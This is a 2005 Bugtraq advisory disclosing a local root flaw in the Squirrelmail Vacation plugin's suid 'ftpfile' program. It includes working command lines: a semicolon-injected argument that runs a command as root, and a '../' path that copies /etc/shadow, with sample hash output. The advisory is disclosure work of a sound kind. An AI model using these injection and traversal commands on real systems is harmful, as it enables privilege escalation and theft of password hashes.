bugtraq - Squirrelmail vacation v0.15 local root exploit

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Message-ID: <20050111115014.GC23077@cecilija.zesoi.fer.hr>
Date: Tue, 11 Jan 2005 12:50:14 +0100
From: LSS Security <exposed@....hr>
To: bugtraq@...urityfocus.com
Subject: Squirrelmail vacation v0.15 local root exploit

			LSS Security Advisory #LSS-2005-01-03
			       http://security.lss.hr

---

Title			:  Squirrelmail vacation v0.15 local root exploit 
Advisory ID		:  LSS-2005-01-03
Date			:  10.01.2005. 
Advisory URL:		:  http://security.lss.hr/en/index.php?page=details&ID=LSS-2005-01-03
Impact			:  Privilege escalation and arbitrary file read
Risk level		:  High 
Vulnerability type	:  Local
Vendors contacted	:  No response from vendor

---

===[ Overview 

Vacation plugin for Squirrelmail allows UNIX users to set an auto-reply
message to incoming email. That is commonly used to notify the sender of 
the receiver's absence. Vacation plugin specifically uses the Vacation program.
Plugin can be downloaded from:
http://www.squirrelmail.org/plugins/vacation0.15-1.43a.tar.gz

===[ Vulnerability

Within Squirrelmail Vacation plugin there is suid root program 'ftpfile'.
The program is used to access local files in user's home directory. There is
a privilege escalation and arbitrary file read vulnerability in ftpfile. 
Command line arguments are passed to execve() function without checking
for meta-characters, therefore making possible execution of commands as root.

[ljuranic@...top ljuranic]$ id
uid=509(ljuranic) gid=513(ljuranic) groups=513(ljuranic)
[ljuranic@...top ljuranic]$  ftpfile 0 root 0 get 0 "LSS-Security;id"
/bin/cp: omitting directory `/root/0'
uid=0(root) gid=513(ljuranic) groups=513(ljuranic)
[ljuranic@...top ljuranic]$ 

It is also possible to read restricted files (such as /etc/shadow), since
ftpfile can copy a file from user's home directory to any other
directory without checking file name for directory traversal attack.

$ ftpfile localhost root root get ../../../../etc/shadow ./shadow
./shadow[ljuranic@...top ljuranic]$ head ./shadow
root:$1$Pwqt1daJ$DIe.fhBadNTN6d1br1OGy0:12401:0:99999:7:::
bin:*:10929:0:99999:7:::
daemon:*:10929:0:99999:7:::
lp:*:10929:0:99999:7:::
[ljuranic@...top ljuranic]$ 

===[ Affected versions

Squirrelmail Vacation v0.15 and previous versions.

===[ Fix

Not available yet.

===[ PoC Exploit

http://security.lss.hr/exploits/

===[ Credits

Credits for this vulnerability goes to Leon Juranic. 

===[ LSS Security Contact

 LSS Security Team, <eXposed by LSS>

 WWW    : http://security.lss.hr
 E-mail : security@....hr
 Tel	: +385 1 6129 775